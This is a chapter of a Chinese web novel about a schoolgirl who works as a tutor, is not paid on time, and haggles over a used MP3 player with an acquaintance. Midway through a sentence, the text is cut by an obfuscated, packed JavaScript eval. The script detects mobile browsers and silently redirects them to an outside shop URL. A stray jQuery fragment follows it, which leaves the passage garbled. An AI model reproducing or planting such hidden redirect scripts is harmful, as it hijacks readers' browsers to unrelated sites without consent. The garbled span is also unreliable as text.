周末休息了两天，加上涂了林江海不知从哪搞来的药酒，程槐清的脚也好了大半，没耽误上课。
周一上课，程槐清就跟郑悦分享了她当上家教的奇妙经历。
“找你当家教？”郑悦的眼睛睁得溜圆，“不是吧，你还只是个初中生啊。”
“我也觉得奇怪。”程槐清眨眨眼睛，“不过工资给得挺高的，我就答应了。”
“高什么啊，”郑悦一脸恨铁不成钢地看着程槐清，“你被人占便宜了知道不？”
“啊？”程槐清一副没见过世面的样子，“一天一百，很高了。”
郑悦拉着她的手，摆出一副补习班资深老油条的架势，科普道：“现在补课班呢都是一千起步，还只是补一科，也是就上周末。你这全科都给补，一周才两百，一个月就八百，还是一对一，要不说人家是做生意的呢，占了你便宜你还在这乐呢。”
程槐清想了想，十分知足地笑道：“还不错了，她要是去报补课班，我不就没钱赚了吗？有钱赚就行，而且那老板还答应帮我找MP3了。”
郑悦看她一副财迷的样子，忍不住被逗笑了，“我看你最惦记的还是那MP3吧。”
程槐清叹了口气，“是啊，简直都成我的一块心病了。”
郑悦：“诶，你哥那MP3什么型号的，不然我在本地贴吧里帮你问问，说不定有人也要卖呢。”
她一个互联网重度爱好者，有什么问题都上网问，最后也都解决了大半，所以听到程槐清的麻烦，第一反应还是找度娘。
程槐清平时不怎么上网，听到这建议眼前一亮，“好，那我把型号发给你，你帮我问问，就说价格好商量。”
“行，我晚上回家就帮你问。”
上网问的效率果然很快，周四晚上郑悦就给程槐清发短信说贴吧里有人说愿意卖，问她愿意出多少钱。
程槐清这几天又攒了些钱，零零碎碎加起来差不多有两百九十多快三百，但是郑悦之前就说过，在贴吧上找人买可能会比卖二手的数码店贵，因为卖家自己的东西，出价不会太低。
数码店差不多的款式卖二百七，如果郑悦说的是真的，那么起码也要四百起步了。
程槐清一下拿不出这么多，但好在她还有个家教的工作，加上两百块的工资，应该能买得起。于是，她回郑悦：【问问他能不能下周当面交易？】
程槐清没在网上买过东西，总觉得还是得现场验过货才安心。
几分钟后，她收到了郑悦的回信。
【他说可以，问在哪见面？】
程槐清还没想好，郑悦又发来一条信息：【不然在我家楼下的奶茶店吧，我陪你一起去。】
程槐清：【好。】
周末，程槐清第一次给数码店老板家的小姑娘上课。
小姑娘大名陈果，小名果果，性格特别活泼，嘴巴也甜，大老远看到程槐清就开始喊：“姐姐来了。”她不喊她老师，只叫她姐姐。
程槐清也坦然接受，毕竟她才初三，叫老师听起来有点奇怪。
给小姑娘上了两天课，程槐清发现她特别聪明，学东西也快，就是注意力容易分散，有时候听课，听着听着就开始揪头发上的分叉去了。
程槐清也不恼，又重新再讲一遍。
她脾气好，有耐心，和陈果她妈是两个极端，陈果反倒很能听进去她的话，第二天小动作就少了很多。
周日下午三点，程槐清给陈果检查完家庭作业，一天的课就结束了。她给陈果勾画了下次听写的单词，起身收拾东西，准备拿了工资就去找郑悦。
陈果却没像昨天那样一下课就撒丫子跑没影了，她坐在旋转椅上转过来转过去，眼睛却始终瞄着程槐清。
“怎么了？”
察觉到陈果的目光，程槐清看向她。
“那个，”陈果支支吾吾说了好多个“那个”，才终于开口：“姐姐，我妈说这两天店里结货款，暂时给不了你工资，能不能下周一起结？”
给不了工资？
要是没拿到工资，那她全身上下就只有不到三百块，想买MP3肯定是不够的。
程槐清沉默了几秒，伸手拉住陈果，“果果，你能不能跟你妈妈再说说，姐姐现在着急用钱。”
陈果抿了抿嘴唇，冲她点点头，“好吧，我再找我妈问问。”
她两只腿一伸，从凳子上跳下来，掀开门帘就往外间去了。
过了几分钟，陈果“噔噔噔”跑回来，递给程槐清一把花花绿绿的碎票子，“妈妈说这是她身上全部的钱了，一共七十三，说让你先拿去应急。”
程槐清看着那把有零有整的碎票子，最后还是没收，她叹了口气，摸了摸陈果的脑袋，“算了，下周就下周吧，去把钱还给你妈妈。”
“姐姐你拿着吧，”陈果又把钱往她手上塞了塞，“你不是急用钱吗？”
“没事。”程槐清接过钱叠好，塞进陈果的上衣口袋，“姐姐会想办法。”
施桥铺离郑悦家有些距离，程槐清几乎是从公交车的起始站坐到了终点站，期间还接到了郑悦的电话，说卖家已经到了，问她什么时候能到。
程槐清只能托她先陪别人聊一会，说只剩几个站了，马上就能到。
公交到站，已经是接到郑悦那通电话的二十分钟后了。
程槐清一下车就给郑悦打电话，按照她的指挥和上次送她回家的模糊印象，顺利找到了约定的那家奶茶店。
店面不大，除了吧台，拢共就四五张桌子。隔着玻璃门，程槐清看到郑悦坐在最靠里的位子，对面还坐着个戴帽子的大高个。
郑悦也看到了程槐清，远远地冲她挥了挥手。
程槐清推门进去，走到他俩的座位前，一边挨着郑悦坐下，一边跟对面道歉：“不好意思，来晚了。”
“程槐清？”
程槐清抬头望去，愣了下。
冤家路窄，谁能想到郑悦口中的卖家竟然是方凯乐。
他今天换了身全黑的运动服，领子高高的拉到下巴，戴了顶黑色的帽子，还带了银色的素圈耳环，要不是看见他那标志性的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913191|213212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轻浮笑容，程槐清还有点不敢认。
“你们认识？”郑悦看看程槐清又看看对面的方凯乐，一脸不可置信。
“当然了，我们——”
方凯乐一挑眉毛，正想拉关系，就听程槐清轻描淡地开口：“演讲比赛，见过一次。”
“两次。”方凯乐纠正。
“差不多。”
程槐清接过郑悦给她点的奶茶，喝了一口，淡淡笑道：“东西带来了吗？我们先验货。”
“带来了，”方凯乐侧过身，从包里拿出一个还算新的纸盒，轻轻拍了拍，“东西你是见过的，我们还是先谈价格吧。”
“你出多少？”方凯乐问。
“你想要多少？”程槐清反问。
“五百四。”
“太贵了。”
“五百三？”方凯乐看一眼对面表情冷淡的程槐清，见她好像不是特别想要的样子，又不太确定地又补了句：“五百二也行。”
程槐清：“三百。”
“我擦，你怎么不去抢？”方凯乐差点跳起来。
“我去施桥铺问过了，同品牌差不多的款式人家只卖二百七。”程槐清皱眉，眨了眨眼睛，“你这价格都够买两个了。”
“这……”方凯乐根本就没去过施桥铺，也没买过二手，对二手市场更是一无所知，这次卖东西都是第一回，瞬间就被程槐清的一套说辞唬得一愣一愣的。
程槐清看见方凯乐迷茫的表情，知道自己的方法起了效果，假装为难地开口：“你这款式很老了，要不是我喜欢这款，二百我都能买个比这更新的。”
“那你出多少？”方凯乐问。
程槐清：“三百，我不是说过了吗？”
方凯乐听完沉默了几秒，手指在桌面上没规律的敲了几下，还是不甘心道：“不行，你再给多点。”
“三百已经很多了，本来我还想按施桥铺那边给二百七的。”程槐清拿出手机看了眼时间，催促道：“你快点想，天快黑了，我得回家了。”
“不行……”方凯乐摇头，“实在太低了。”
“实话跟你说了吧，”方凯乐一拍桌子，往前坐直了身体，“我是因为要给女朋友买生日礼物，钱不够才卖这个的，我本来不想卖的。”
“你要是真这个价格，我还不如想别的办法呢。”
“那你想要多少。”程槐清问。
方凯乐扳着指头想了想，“最少四百二，我就差这么多。”
“行，”程槐清说：“但钱下周才能给你。”
“为什么？”
“我暂时还没那么多钱。”
方凯乐低下头，一脸扫兴，“那这样吧，”他一边说，一边把盒子装回包里，“你先去凑钱，凑齐了再联系我，这之前要是有人愿意出这个价，我就卖给别人了。”
程槐清不说话，静静地看着他。
没钱这件事放在谁身上都足够让人窘迫。
“这次的奶茶我请了。”方凯乐把单肩包往身上一挎，转身挥挥手，“先走了，回见。”